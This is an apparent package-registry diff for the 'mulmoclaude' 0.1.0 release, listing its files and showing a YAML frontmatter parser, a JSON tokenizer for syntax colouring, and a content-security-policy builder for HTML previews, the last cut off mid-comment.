mulmoclaude 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (408) hide show
  1. package/README.md +44 -0
  2. package/bin/mulmoclaude.js +202 -0
  3. package/bin/prepare-dist.js +93 -0
  4. package/client/assets/chunk-vKJrgz-R-C_I3GbVV.js +1 -0
  5. package/client/assets/html2canvas-Cx501zZr-BF5dYYkY.js +5 -0
  6. package/client/assets/index-D8rhwXLq.js +4906 -0
  7. package/client/assets/index-KNLBjwuh.css +1 -0
  8. package/client/assets/index.es-D4YyL_Dg-BfRHLTZV.js +5 -0
  9. package/client/assets/material-icons-Dr0goTwe.woff +0 -0
  10. package/client/assets/material-icons-kAwBdRge.woff2 +0 -0
  11. package/client/assets/material-icons-outlined-BpWbwl2n.woff +0 -0
  12. package/client/assets/material-icons-outlined-DZhiGvEA.woff2 +0 -0
  13. package/client/assets/material-icons-round-BDlwx-sv.woff +0 -0
  14. package/client/assets/material-icons-round-DrirKXBx.woff2 +0 -0
  15. package/client/assets/material-icons-sharp-CH1KkVu7.woff +0 -0
  16. package/client/assets/material-icons-sharp-gidztirS.woff2 +0 -0
  17. package/client/assets/material-icons-two-tone-B7wz7mED.woff +0 -0
  18. package/client/assets/material-icons-two-tone-DuNIpaEj.woff2 +0 -0
  19. package/client/assets/mulmo_bw-ERmkSv0a.png +0 -0
  20. package/client/assets/purify.es-Fx1Nqyry-PeS5RUhs.js +2 -0
  21. package/client/assets/typeof-DBp4T-Ny-BC0P-2DM.js +1 -0
  22. package/client/index.html +28 -0
  23. package/package.json +66 -0
  24. package/server/agent/attachmentConverter.ts +270 -0
  25. package/server/agent/config.ts +414 -0
  26. package/server/agent/index.ts +260 -0
  27. package/server/agent/mcp-server.ts +412 -0
  28. package/server/agent/mcp-tools/index.ts +63 -0
  29. package/server/agent/mcp-tools/x.ts +188 -0
  30. package/server/agent/plugin-names.ts +75 -0
  31. package/server/agent/prompt.ts +349 -0
  32. package/server/agent/resumeFailover.ts +129 -0
  33. package/server/agent/sandboxMounts.ts +329 -0
  34. package/server/agent/stream.ts +194 -0
  35. package/server/api/auth/bearerAuth.ts +61 -0
  36. package/server/api/auth/token.ts +98 -0
  37. package/server/api/csrfGuard.ts +85 -0
  38. package/server/api/routes/agent.ts +478 -0
  39. package/server/api/routes/chart.ts +98 -0
  40. package/server/api/routes/chat-index.ts +46 -0
  41. package/server/api/routes/config.ts +258 -0
  42. package/server/api/routes/dispatchResponse.ts +79 -0
  43. package/server/api/routes/files.ts +812 -0
  44. package/server/api/routes/html.ts +101 -0
  45. package/server/api/routes/image.ts +169 -0
  46. package/server/api/routes/mulmo-script.ts +712 -0
  47. package/server/api/routes/mulmoScriptValidate.ts +101 -0
  48. package/server/api/routes/notifications.ts +69 -0
  49. package/server/api/routes/pdf.ts +163 -0
  50. package/server/api/routes/plugins.ts +276 -0
  51. package/server/api/routes/presentHtml.ts +48 -0
  52. package/server/api/routes/roles.ts +125 -0
  53. package/server/api/routes/scheduler.ts +153 -0
  54. package/server/api/routes/schedulerHandlers.ts +151 -0
  55. package/server/api/routes/schedulerTasks.ts +163 -0
  56. package/server/api/routes/sessions.ts +294 -0
  57. package/server/api/routes/sessionsCursor.ts +59 -0
  58. package/server/api/routes/skills.ts +195 -0
  59. package/server/api/routes/sources.ts +540 -0
  60. package/server/api/routes/todos.ts +263 -0
  61. package/server/api/routes/todosColumnsHandlers.ts +347 -0
  62. package/server/api/routes/todosHandlers.ts +274 -0
  63. package/server/api/routes/todosItemsHandlers.ts +386 -0
  64. package/server/api/routes/wiki/pageIndex.ts +53 -0
  65. package/server/api/routes/wiki.ts +363 -0
  66. package/server/api/sandboxStatus.ts +64 -0
  67. package/server/events/notifications.ts +160 -0
  68. package/server/events/pub-sub/index.ts +45 -0
  69. package/server/events/relay-client.ts +288 -0
  70. package/server/events/scheduler-adapter.ts +302 -0
  71. package/server/events/session-store/index.ts +492 -0
  72. package/server/events/task-manager/index.ts +181 -0
  73. package/server/index.ts +572 -0
  74. package/server/system/config.ts +243 -0
  75. package/server/system/credentials.ts +220 -0
  76. package/server/system/docker.ts +97 -0
  77. package/server/system/env.ts +109 -0
  78. package/server/system/logger/config.ts +112 -0
  79. package/server/system/logger/formatters.ts +40 -0
  80. package/server/system/logger/index.ts +53 -0
  81. package/server/system/logger/rotation.ts +37 -0
  82. package/server/system/logger/sinks.ts +101 -0
  83. package/server/system/logger/types.ts +29 -0
  84. package/server/utils/date.ts +57 -0
  85. package/server/utils/errors.ts +7 -0
  86. package/server/utils/fetch.ts +27 -0
  87. package/server/utils/files/atomic.ts +125 -0
  88. package/server/utils/files/html-io.ts +20 -0
  89. package/server/utils/files/image-store.ts +66 -0
  90. package/server/utils/files/index.ts +45 -0
  91. package/server/utils/files/journal-io.ts +213 -0
  92. package/server/utils/files/json.ts +69 -0
  93. package/server/utils/files/markdown-store.ts +33 -0
  94. package/server/utils/files/naming.ts +50 -0
  95. package/server/utils/files/reference-dirs-io.ts +45 -0
  96. package/server/utils/files/roles-io.ts +45 -0
  97. package/server/utils/files/safe.ts +106 -0
  98. package/server/utils/files/scheduler-io.ts +20 -0
  99. package/server/utils/files/scheduler-overrides-io.ts +64 -0
  100. package/server/utils/files/session-io.ts +136 -0
  101. package/server/utils/files/spreadsheet-store.ts +63 -0
  102. package/server/utils/files/todos-io.ts +29 -0
  103. package/server/utils/files/user-tasks-io.ts +25 -0
  104. package/server/utils/files/workspace-io.ts +221 -0
  105. package/server/utils/gemini.ts +59 -0
  106. package/server/utils/gitignore.ts +69 -0
  107. package/server/utils/http.ts +15 -0
  108. package/server/utils/httpError.ts +61 -0
  109. package/server/utils/id.ts +16 -0
  110. package/server/utils/json.ts +83 -0
  111. package/server/utils/logBackgroundError.ts +22 -0
  112. package/server/utils/markdown.ts +82 -0
  113. package/server/utils/request.ts +29 -0
  114. package/server/utils/slug.ts +50 -0
  115. package/server/utils/spawn.ts +62 -0
  116. package/server/utils/time.ts +34 -0
  117. package/server/utils/types.ts +47 -0
  118. package/server/workspace/chat-index/index.ts +153 -0
  119. package/server/workspace/chat-index/indexer.ts +209 -0
  120. package/server/workspace/chat-index/paths.ts +34 -0
  121. package/server/workspace/chat-index/summarizer.ts +247 -0
  122. package/server/workspace/chat-index/types.ts +38 -0
  123. package/server/workspace/custom-dirs.ts +220 -0
  124. package/server/workspace/helps/business.md +104 -0
  125. package/server/workspace/helps/github.md +23 -0
  126. package/server/workspace/helps/index.md +60 -0
  127. package/server/workspace/helps/mulmoscript.md +249 -0
  128. package/server/workspace/helps/sandbox.md +90 -0
  129. package/server/workspace/helps/spreadsheet.md +43 -0
  130. package/server/workspace/helps/telegram.md +135 -0
  131. package/server/workspace/helps/wiki.md +131 -0
  132. package/server/workspace/journal/archivist.ts +386 -0
  133. package/server/workspace/journal/dailyPass.ts +743 -0
  134. package/server/workspace/journal/diff.ts +71 -0
  135. package/server/workspace/journal/index.ts +185 -0
  136. package/server/workspace/journal/indexFile.ts +136 -0
  137. package/server/workspace/journal/linkRewrite.ts +4 -0
  138. package/server/workspace/journal/memoryExtractor.ts +130 -0
  139. package/server/workspace/journal/optimizationPass.ts +160 -0
  140. package/server/workspace/journal/paths.ts +76 -0
  141. package/server/workspace/journal/state.ts +125 -0
  142. package/server/workspace/paths.ts +158 -0
  143. package/server/workspace/reference-dirs.ts +252 -0
  144. package/server/workspace/roles.ts +37 -0
  145. package/server/workspace/skills/discovery.ts +125 -0
  146. package/server/workspace/skills/index.ts +10 -0
  147. package/server/workspace/skills/parser.ts +144 -0
  148. package/server/workspace/skills/paths.ts +41 -0
  149. package/server/workspace/skills/scheduler.ts +149 -0
  150. package/server/workspace/skills/types.ts +30 -0
  151. package/server/workspace/skills/user-tasks.ts +257 -0
  152. package/server/workspace/skills/writer.ts +189 -0
  153. package/server/workspace/sources/arxivDiscovery.ts +182 -0
  154. package/server/workspace/sources/classifier.ts +268 -0
  155. package/server/workspace/sources/fetchers/arxiv.ts +170 -0
  156. package/server/workspace/sources/fetchers/github.ts +106 -0
  157. package/server/workspace/sources/fetchers/githubIssues.ts +208 -0
  158. package/server/workspace/sources/fetchers/githubReleases.ts +186 -0
  159. package/server/workspace/sources/fetchers/index.ts +71 -0
  160. package/server/workspace/sources/fetchers/registerAll.ts +15 -0
  161. package/server/workspace/sources/fetchers/rss.ts +141 -0
  162. package/server/workspace/sources/fetchers/rssParser.ts +295 -0
  163. package/server/workspace/sources/httpFetcher.ts +230 -0
  164. package/server/workspace/sources/interests.ts +120 -0
  165. package/server/workspace/sources/paths.ts +110 -0
  166. package/server/workspace/sources/pipeline/dedup.ts +60 -0
  167. package/server/workspace/sources/pipeline/fetch.ts +136 -0
  168. package/server/workspace/sources/pipeline/index.ts +249 -0
  169. package/server/workspace/sources/pipeline/notify.ts +72 -0
  170. package/server/workspace/sources/pipeline/plan.ts +66 -0
  171. package/server/workspace/sources/pipeline/summarize.ts +189 -0
  172. package/server/workspace/sources/pipeline/write.ts +185 -0
  173. package/server/workspace/sources/rateLimiter.ts +148 -0
  174. package/server/workspace/sources/registry.ts +326 -0
  175. package/server/workspace/sources/robots.ts +271 -0
  176. package/server/workspace/sources/sourceState.ts +135 -0
  177. package/server/workspace/sources/taxonomy.ts +74 -0
  178. package/server/workspace/sources/types.ts +144 -0
  179. package/server/workspace/sources/urls.ts +112 -0
  180. package/server/workspace/tool-trace/classify.ts +114 -0
  181. package/server/workspace/tool-trace/index.ts +250 -0
  182. package/server/workspace/tool-trace/writeSearch.ts +98 -0
  183. package/server/workspace/wiki-backlinks/index.ts +107 -0
  184. package/server/workspace/wiki-backlinks/sessionBacklinks.ts +144 -0
  185. package/server/workspace/workspace.ts +66 -0
  186. package/src/App.vue +720 -0
  187. package/src/assets/mulmo_bw.png +0 -0
  188. package/src/components/CanvasViewToggle.vue +27 -0
  189. package/src/components/ChatAttachmentPreview.vue +45 -0
  190. package/src/components/ChatImagePreview.vue +17 -0
  191. package/src/components/ChatInput.vue +208 -0
  192. package/src/components/FileContentHeader.vue +49 -0
  193. package/src/components/FileContentRenderer.vue +162 -0
  194. package/src/components/FileTree.vue +115 -0
  195. package/src/components/FileTreePane.vue +85 -0
  196. package/src/components/FilesView.vue +206 -0
  197. package/src/components/LockStatusPopup.vue +111 -0
  198. package/src/components/NotificationBell.vue +131 -0
  199. package/src/components/NotificationToast.vue +72 -0
  200. package/src/components/PluginLauncher.vue +138 -0
  201. package/src/components/RightSidebar.vue +113 -0
  202. package/src/components/RoleSelector.vue +64 -0
  203. package/src/components/SessionHistoryPanel.vue +176 -0
  204. package/src/components/SessionTabBar.vue +81 -0
  205. package/src/components/SettingsMcpTab.vue +350 -0
  206. package/src/components/SettingsModal.vue +275 -0
  207. package/src/components/SettingsReferenceDirsTab.vue +173 -0
  208. package/src/components/SettingsWorkspaceDirsTab.vue +174 -0
  209. package/src/components/SidebarHeader.vue +69 -0
  210. package/src/components/StackView.vue +360 -0
  211. package/src/components/SuggestionsPanel.vue +65 -0
  212. package/src/components/TodoExplorer.vue +358 -0
  213. package/src/components/ToolResultsPanel.vue +77 -0
  214. package/src/components/todo/TodoAddDialog.vue +131 -0
  215. package/src/components/todo/TodoEditDialog.vue +47 -0
  216. package/src/components/todo/TodoEditPanel.vue +113 -0
  217. package/src/components/todo/TodoKanbanView.vue +249 -0
  218. package/src/components/todo/TodoListView.vue +79 -0
  219. package/src/components/todo/TodoTableView.vue +177 -0
  220. package/src/composables/useActiveSession.ts +40 -0
  221. package/src/composables/useAppApi.ts +45 -0
  222. package/src/composables/useCanvasViewMode.ts +121 -0
  223. package/src/composables/useChatScroll.ts +47 -0
  224. package/src/composables/useClickOutside.ts +26 -0
  225. package/src/composables/useClipboardCopy.ts +44 -0
  226. package/src/composables/useContentDisplay.ts +52 -0
  227. package/src/composables/useDebugBeat.ts +23 -0
  228. package/src/composables/useDynamicFavicon.ts +115 -0
  229. package/src/composables/useEventListeners.ts +42 -0
  230. package/src/composables/useExpandedDirs.ts +64 -0
  231. package/src/composables/useFaviconState.ts +30 -0
  232. package/src/composables/useFileSelection.ts +115 -0
  233. package/src/composables/useFileSortMode.ts +24 -0
  234. package/src/composables/useFileTree.ts +85 -0
  235. package/src/composables/useFreshPluginData.ts +89 -0
  236. package/src/composables/useHealth.ts +38 -0
  237. package/src/composables/useImeAwareEnter.ts +57 -0
  238. package/src/composables/useKeyNavigation.ts +60 -0
  239. package/src/composables/useMarkdownLinkHandler.ts +46 -0
  240. package/src/composables/useMarkdownMode.ts +17 -0
  241. package/src/composables/useMcpTools.ts +71 -0
  242. package/src/composables/useMergedSessions.ts +27 -0
  243. package/src/composables/useNotifications.ts +90 -0
  244. package/src/composables/usePdfDownload.ts +60 -0
  245. package/src/composables/usePendingCalls.ts +77 -0
  246. package/src/composables/usePubSub.ts +85 -0
  247. package/src/composables/useRightSidebar.ts +23 -0
  248. package/src/composables/useRoles.ts +34 -0
  249. package/src/composables/useSandboxStatus.ts +67 -0
  250. package/src/composables/useSelectedResult.ts +49 -0
  251. package/src/composables/useSessionDerived.ts +51 -0
  252. package/src/composables/useSessionHistory.ts +81 -0
  253. package/src/composables/useSessionSync.ts +57 -0
  254. package/src/composables/useViewLayout.ts +55 -0
  255. package/src/config/apiRoutes.ts +173 -0
  256. package/src/config/pubsubChannels.ts +45 -0
  257. package/src/config/roles.ts +335 -0
  258. package/src/config/schedulerActions.ts +25 -0
  259. package/src/config/toolNames.ts +71 -0
  260. package/src/config/workspacePaths.ts +24 -0
  261. package/src/index.css +107 -0
  262. package/src/main.ts +25 -0
  263. package/src/plugins/canvas/Preview.vue +13 -0
  264. package/src/plugins/canvas/View.vue +333 -0
  265. package/src/plugins/canvas/definition.ts +38 -0
  266. package/src/plugins/canvas/index.ts +36 -0
  267. package/src/plugins/chart/Preview.vue +49 -0
  268. package/src/plugins/chart/View.vue +143 -0
  269. package/src/plugins/chart/definition.ts +58 -0
  270. package/src/plugins/chart/index.ts +52 -0
  271. package/src/plugins/editImage/Preview.vue +13 -0
  272. package/src/plugins/editImage/View.vue +13 -0
  273. package/src/plugins/editImage/definition.ts +27 -0
  274. package/src/plugins/editImage/index.ts +36 -0
  275. package/src/plugins/generateImage/Preview.vue +13 -0
  276. package/src/plugins/generateImage/View.vue +33 -0
  277. package/src/plugins/generateImage/definition.ts +32 -0
  278. package/src/plugins/generateImage/index.ts +56 -0
  279. package/src/plugins/manageRoles/Preview.vue +49 -0
  280. package/src/plugins/manageRoles/View.vue +525 -0
  281. package/src/plugins/manageRoles/definition.ts +43 -0
  282. package/src/plugins/manageRoles/index.ts +47 -0
  283. package/src/plugins/manageSkills/Preview.vue +21 -0
  284. package/src/plugins/manageSkills/View.vue +321 -0
  285. package/src/plugins/manageSkills/definition.ts +49 -0
  286. package/src/plugins/manageSkills/index.ts +49 -0
  287. package/src/plugins/manageSource/Preview.vue +33 -0
  288. package/src/plugins/manageSource/View.vue +697 -0
  289. package/src/plugins/manageSource/definition.ts +63 -0
  290. package/src/plugins/manageSource/index.ts +66 -0
  291. package/src/plugins/markdown/Preview.vue +77 -0
  292. package/src/plugins/markdown/View.vue +476 -0
  293. package/src/plugins/markdown/definition.ts +50 -0
  294. package/src/plugins/markdown/index.ts +36 -0
  295. package/src/plugins/presentHtml/Preview.vue +25 -0
  296. package/src/plugins/presentHtml/View.vue +52 -0
  297. package/src/plugins/presentHtml/definition.ts +27 -0
  298. package/src/plugins/presentHtml/helpers.ts +72 -0
  299. package/src/plugins/presentHtml/index.ts +41 -0
  300. package/src/plugins/presentMulmoScript/Preview.vue +23 -0
  301. package/src/plugins/presentMulmoScript/View.vue +1166 -0
  302. package/src/plugins/presentMulmoScript/definition.ts +95 -0
  303. package/src/plugins/presentMulmoScript/helpers.ts +162 -0
  304. package/src/plugins/presentMulmoScript/index.ts +40 -0
  305. package/src/plugins/scheduler/Preview.vue +67 -0
  306. package/src/plugins/scheduler/TasksTab.vue +205 -0
  307. package/src/plugins/scheduler/View.vue +565 -0
  308. package/src/plugins/scheduler/definition.ts +57 -0
  309. package/src/plugins/scheduler/index.ts +45 -0
  310. package/src/plugins/scheduler/viewModes.ts +26 -0
  311. package/src/plugins/spreadsheet/Preview.vue +29 -0
  312. package/src/plugins/spreadsheet/View.vue +997 -0
  313. package/src/plugins/spreadsheet/cellHighlights.ts +79 -0
  314. package/src/plugins/spreadsheet/definition.ts +121 -0
  315. package/src/plugins/spreadsheet/engine/calculator.ts +459 -0
  316. package/src/plugins/spreadsheet/engine/cellBuilder.ts +81 -0
  317. package/src/plugins/spreadsheet/engine/date-parser.ts +220 -0
  318. package/src/plugins/spreadsheet/engine/date-utils.ts +56 -0
  319. package/src/plugins/spreadsheet/engine/engine.ts +176 -0
  320. package/src/plugins/spreadsheet/engine/evaluator.ts +390 -0
  321. package/src/plugins/spreadsheet/engine/formatter.ts +172 -0
  322. package/src/plugins/spreadsheet/engine/formulaRefs.ts +101 -0
  323. package/src/plugins/spreadsheet/engine/functions/date.ts +299 -0
  324. package/src/plugins/spreadsheet/engine/functions/financial.ts +387 -0
  325. package/src/plugins/spreadsheet/engine/functions/index.ts +16 -0
  326. package/src/plugins/spreadsheet/engine/functions/logical.ts +262 -0
  327. package/src/plugins/spreadsheet/engine/functions/lookup.ts +400 -0
  328. package/src/plugins/spreadsheet/engine/functions/mathematical.ts +297 -0
  329. package/src/plugins/spreadsheet/engine/functions/statistical.ts +338 -0
  330. package/src/plugins/spreadsheet/engine/functions/text.ts +389 -0
  331. package/src/plugins/spreadsheet/engine/index.ts +27 -0
  332. package/src/plugins/spreadsheet/engine/jsonCellLocator.ts +111 -0
  333. package/src/plugins/spreadsheet/engine/parser.ts +143 -0
  334. package/src/plugins/spreadsheet/engine/registry.ts +150 -0
  335. package/src/plugins/spreadsheet/engine/responseDecoder.ts +67 -0
  336. package/src/plugins/spreadsheet/engine/types.ts +64 -0
  337. package/src/plugins/spreadsheet/index.ts +36 -0
  338. package/src/plugins/textResponse/Preview.vue +94 -0
  339. package/src/plugins/textResponse/View.vue +503 -0
  340. package/src/plugins/textResponse/definition.ts +34 -0
  341. package/src/plugins/textResponse/index.ts +27 -0
  342. package/src/plugins/textResponse/plugin.ts +29 -0
  343. package/src/plugins/textResponse/samples.ts +97 -0
  344. package/src/plugins/textResponse/types.ts +11 -0
  345. package/src/plugins/todo/Preview.vue +63 -0
  346. package/src/plugins/todo/View.vue +364 -0
  347. package/src/plugins/todo/composables/useTodos.ts +177 -0
  348. package/src/plugins/todo/definition.ts +45 -0
  349. package/src/plugins/todo/index.ts +61 -0
  350. package/src/plugins/todo/labels.ts +163 -0
  351. package/src/plugins/todo/priority.ts +98 -0
  352. package/src/plugins/todo/viewModes.ts +19 -0
  353. package/src/plugins/ui-image/ImagePreview.vue +23 -0
  354. package/src/plugins/ui-image/ImageView.vue +34 -0
  355. package/src/plugins/ui-image/index.ts +3 -0
  356. package/src/plugins/ui-image/types.ts +4 -0
  357. package/src/plugins/wiki/Preview.vue +65 -0
  358. package/src/plugins/wiki/View.vue +342 -0
  359. package/src/plugins/wiki/definition.ts +25 -0
  360. package/src/plugins/wiki/helpers.ts +59 -0
  361. package/src/plugins/wiki/index.ts +52 -0
  362. package/src/router/guards.ts +61 -0
  363. package/src/router/index.ts +50 -0
  364. package/src/tools/index.ts +52 -0
  365. package/src/tools/types.ts +27 -0
  366. package/src/types/events.ts +16 -0
  367. package/src/types/fileTree.ts +13 -0
  368. package/src/types/notification.ts +67 -0
  369. package/src/types/session.ts +116 -0
  370. package/src/types/sse.ts +90 -0
  371. package/src/types/toolCallHistory.ts +13 -0
  372. package/src/utils/agent/eventDispatch.ts +74 -0
  373. package/src/utils/agent/request.ts +55 -0
  374. package/src/utils/agent/toolCalls.ts +62 -0
  375. package/src/utils/api.ts +218 -0
  376. package/src/utils/canvas/viewMode.ts +46 -0
  377. package/src/utils/dom/authTokenMeta.ts +20 -0
  378. package/src/utils/dom/clickOutside.ts +11 -0
  379. package/src/utils/dom/externalLink.ts +57 -0
  380. package/src/utils/dom/scrollable.ts +24 -0
  381. package/src/utils/errors.ts +11 -0
  382. package/src/utils/files/expandedDirs.ts +25 -0
  383. package/src/utils/files/filename.ts +12 -0
  384. package/src/utils/files/sortChildren.ts +20 -0
  385. package/src/utils/filesPreview/schedulerPreview.ts +38 -0
  386. package/src/utils/filesPreview/todoPreview.ts +40 -0
  387. package/src/utils/format/date.ts +85 -0
  388. package/src/utils/format/frontmatter.ts +80 -0
  389. package/src/utils/format/jsonSyntax.ts +109 -0
  390. package/src/utils/html/previewCsp.ts +65 -0
  391. package/src/utils/image/resolve.ts +8 -0
  392. package/src/utils/image/rewriteMarkdownImageRefs.ts +182 -0
  393. package/src/utils/markdown/extractFirstH1.ts +39 -0
  394. package/src/utils/notification/dispatch.ts +22 -0
  395. package/src/utils/path/relativeLink.ts +130 -0
  396. package/src/utils/role/icon.ts +20 -0
  397. package/src/utils/role/merge.ts +10 -0
  398. package/src/utils/role/plugins.ts +12 -0
  399. package/src/utils/session/mergeSessions.ts +103 -0
  400. package/src/utils/session/seedRoleDefault.ts +35 -0
  401. package/src/utils/session/sessionEntries.ts +121 -0
  402. package/src/utils/session/sessionFactory.ts +22 -0
  403. package/src/utils/session/sessionHelpers.ts +99 -0
  404. package/src/utils/tools/dedup.ts +17 -0
  405. package/src/utils/tools/mcp.ts +33 -0
  406. package/src/utils/tools/pendingCalls.ts +16 -0
  407. package/src/utils/tools/result.ts +40 -0
  408. package/src/utils/types.ts +44 -0
@@ -0,0 +1,80 @@
1
+ // Minimal YAML-frontmatter extractor for Markdown files. Only covers
2
+ // the shapes we actually display in the Files-mode preview:
3
+ //
4
+ // ---
5
+ // title: さくらインターネット
6
+ // created: 2026-04-06
7
+ // tags: [クラウド, インフラ, 日本企業]
8
+ // ---
9
+ //
10
+ // Values are returned either as a string or, for inline arrays
11
+ // (`[a, b, c]`), as a string[]. Anything more exotic (block lists,
12
+ // nested maps, multi-line strings) is treated as an opaque string so
13
+ // the user still sees the raw value.
14
+
15
+ export type FrontmatterValue = string | string[];
16
+
17
+ export interface FrontmatterField {
18
+ key: string;
19
+ value: FrontmatterValue;
20
+ }
21
+
22
+ export interface Frontmatter {
23
+ fields: FrontmatterField[];
24
+ body: string;
25
+ }
26
+
27
+ const FRONTMATTER_DELIM = /^---\r?\n/;
28
+ const FRONTMATTER_CLOSE = /\r?\n---\s*(\r?\n|$)/;
29
+
30
+ export function extractFrontmatter(raw: string): Frontmatter {
31
+ if (!FRONTMATTER_DELIM.test(raw)) {
32
+ return { fields: [], body: raw };
33
+ }
34
+ const afterOpen = raw.replace(FRONTMATTER_DELIM, "");
35
+ const closeMatch = FRONTMATTER_CLOSE.exec(afterOpen);
36
+ if (!closeMatch || closeMatch.index === undefined) {
37
+ return { fields: [], body: raw };
38
+ }
39
+ const fmText = afterOpen.slice(0, closeMatch.index);
40
+ const body = afterOpen.slice(closeMatch.index + closeMatch[0].length);
41
+ return { fields: parseFields(fmText), body };
42
+ }
43
+
44
+ function parseFields(fmText: string): FrontmatterField[] {
45
+ const fields: FrontmatterField[] = [];
46
+ for (const line of fmText.split(/\r?\n/)) {
47
+ const field = parseLine(line);
48
+ if (field) fields.push(field);
49
+ }
50
+ return fields;
51
+ }
52
+
53
+ function parseLine(line: string): FrontmatterField | null {
54
+ if (!line.trim() || line.trimStart().startsWith("#")) return null;
55
+ const colonIdx = line.indexOf(":");
56
+ if (colonIdx <= 0) return null;
57
+ const key = line.slice(0, colonIdx).trim();
58
+ const rawValue = line.slice(colonIdx + 1).trim();
59
+ if (!key) return null;
60
+ return { key, value: parseValue(rawValue) };
61
+ }
62
+
63
+ function parseValue(raw: string): FrontmatterValue {
64
+ if (!raw) return "";
65
+ const arrayMatch = /^\[(.*)\]$/.exec(raw);
66
+ if (arrayMatch) {
67
+ return arrayMatch[1]
68
+ .split(",")
69
+ .map((s) => unquote(s.trim()))
70
+ .filter((s) => s.length > 0);
71
+ }
72
+ return unquote(raw);
73
+ }
74
+
75
+ function unquote(s: string): string {
76
+ if ((s.startsWith('"') && s.endsWith('"')) || (s.startsWith("'") && s.endsWith("'"))) {
77
+ return s.slice(1, -1);
78
+ }
79
+ return s;
80
+ }
@@ -0,0 +1,109 @@
1
+ // Tiny regex-based JSON tokenizer used by the Files-mode preview for
2
+ // syntax coloring. Keeps itself dependency-free so it can be reused
3
+ // and unit-tested without pulling in Vue or Tailwind.
4
+
5
+ export type JsonTokenType = "key" | "string" | "number" | "keyword" | "punct" | "whitespace";
6
+
7
+ export interface JsonToken {
8
+ type: JsonTokenType;
9
+ value: string;
10
+ }
11
+
12
+ // Tailwind class for each token type. Kept alongside the tokenizer so
13
+ // callers that want colored output can just import and use it directly.
14
+ export const JSON_TOKEN_CLASS: Record<JsonTokenType, string> = {
15
+ key: "text-blue-700",
16
+ string: "text-green-700",
17
+ number: "text-orange-600",
18
+ keyword: "text-purple-700",
19
+ punct: "text-gray-500",
20
+ whitespace: "",
21
+ };
22
+
23
+ // Individually simple patterns combined by `nextToken` below. Keeping
24
+ // them separate avoids a single combined regex that trips
25
+ // sonarjs/regex-complexity and is easier to reason about.
26
+ const STRING_RE = /^"(?:[^"\\]|\\.)*"/;
27
+ const KEYWORD_RE = /^(?:true|false|null)\b/;
28
+ const NUMBER_RE = /^-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?/;
29
+ const WS_RE = /^\s+/;
30
+ const PUNCT_RE = /^[{}[\]:,]/;
31
+
32
+ const MATCHERS: { type: JsonTokenType; pattern: RegExp }[] = [
33
+ { type: "string", pattern: STRING_RE },
34
+ { type: "keyword", pattern: KEYWORD_RE },
35
+ { type: "number", pattern: NUMBER_RE },
36
+ { type: "whitespace", pattern: WS_RE },
37
+ { type: "punct", pattern: PUNCT_RE },
38
+ ];
39
+
40
+ function nextToken(slice: string): JsonToken | null {
41
+ for (const { type, pattern } of MATCHERS) {
42
+ const match = pattern.exec(slice);
43
+ if (match) return { type, value: match[0] };
44
+ }
45
+ return null;
46
+ }
47
+
48
+ export function tokenizeJson(raw: string): JsonToken[] {
49
+ const tokens: JsonToken[] = [];
50
+ let pos = 0;
51
+ while (pos < raw.length) {
52
+ const token = nextToken(raw.slice(pos));
53
+ if (!token) {
54
+ // Unknown char (syntax error / stray bytes). Emit verbatim so
55
+ // the user still sees it, then advance one character.
56
+ tokens.push({ type: "punct", value: raw[pos] });
57
+ pos++;
58
+ continue;
59
+ }
60
+ tokens.push(token);
61
+ pos += token.value.length;
62
+ }
63
+ markKeys(tokens);
64
+ return tokens;
65
+ }
66
+
67
+ // A string that precedes ":" (skipping whitespace) is an object key.
68
+ function markKeys(tokens: JsonToken[]): void {
69
+ for (let i = 0; i < tokens.length; i++) {
70
+ if (tokens[i].type !== "string") continue;
71
+ let j = i + 1;
72
+ while (j < tokens.length && tokens[j].type === "whitespace") j++;
73
+ if (j < tokens.length && tokens[j].type === "punct" && tokens[j].value === ":") {
74
+ tokens[i] = { type: "key", value: tokens[i].value };
75
+ }
76
+ }
77
+ }
78
+
79
+ // Pretty-print JSON with 2-space indentation, falling back to the raw
80
+ // source on parse error so the user can still read malformed files.
81
+ export function prettyJson(raw: string): string {
82
+ try {
83
+ return JSON.stringify(JSON.parse(raw), null, 2);
84
+ } catch {
85
+ return raw;
86
+ }
87
+ }
88
+
89
+ export interface JsonlLine {
90
+ tokens: JsonToken[];
91
+ parseError: boolean;
92
+ }
93
+
94
+ // Tokenize a JSON Lines document: one JSON value per non-empty line.
95
+ // Each parseable line is pretty-printed before tokenization so the
96
+ // output shows a readable multi-line record per entry. Malformed
97
+ // lines are tokenized as-is with `parseError: true` so the caller
98
+ // can mark them visually.
99
+ export function tokenizeJsonl(raw: string): JsonlLine[] {
100
+ const lines = raw.split(/\r?\n/).filter((line) => line.trim().length > 0);
101
+ return lines.map((line) => {
102
+ try {
103
+ const pretty = JSON.stringify(JSON.parse(line), null, 2);
104
+ return { tokens: tokenizeJson(pretty), parseError: false };
105
+ } catch {
106
+ return { tokens: tokenizeJson(line), parseError: true };
107
+ }
108
+ });
109
+ }
@@ -0,0 +1,65 @@
1
+ // CSP whitelist applied to HTML files previewed in the Files
2
+ // explorer iframe. We ship a narrow list of trusted CDNs that the
3
+ // LLM commonly pulls from (Chart.js, D3, Tailwind, etc. via
4
+ // jsdelivr / unpkg / cdnjs) plus Google Fonts. Anything else —
5
+ // random `https://` origins, phone-home `fetch()` calls, etc. —
6
+ // is rejected.
7
+ //
8
+ // Widen by editing `HTML_PREVIEW_CSP_ALLOWED_CDNS` below. Keep the
9
+ // list audited — every entry is a potential supply-chain surface.
10
+
11
+ export const HTML_PREVIEW_CSP_ALLOWED_CDNS: readonly string[] = [
12
+ "https://cdn.jsdelivr.net",
13
+ "https://unpkg.com",
14
+ "https://cdnjs.cloudflare.com",
15
+ "https://fonts.googleapis.com",
16
+ "https://fonts.gstatic.com",
17
+ ];
18
+
19
+ /**
20
+ * Build the CSP string. Split from the wrapper so tests can exercise
21
+ * the policy without HTML-template noise.
22
+ */
23
+ export function buildHtmlPreviewCsp(cdns: readonly string[] = HTML_PREVIEW_CSP_ALLOWED_CDNS): string {
24
+ const cdnList = cdns.join(" ");
25
+ return [
26
+ "default-src 'none'",
27
+ // LLM-authored HTML almost always uses inline <script> blocks
28
+ // alongside the CDN load. No feasible path to avoid
29
+ // 'unsafe-inline' without rewriting every output.
30
+ `script-src 'unsafe-inline' ${cdnList}`,
31
+ `style-src 'unsafe-inline' ${cdnList}`,
32
+ `font-src ${cdnList}`,
33
+ // Images: same-origin (workspace files via /api/files/raw), CDN
34
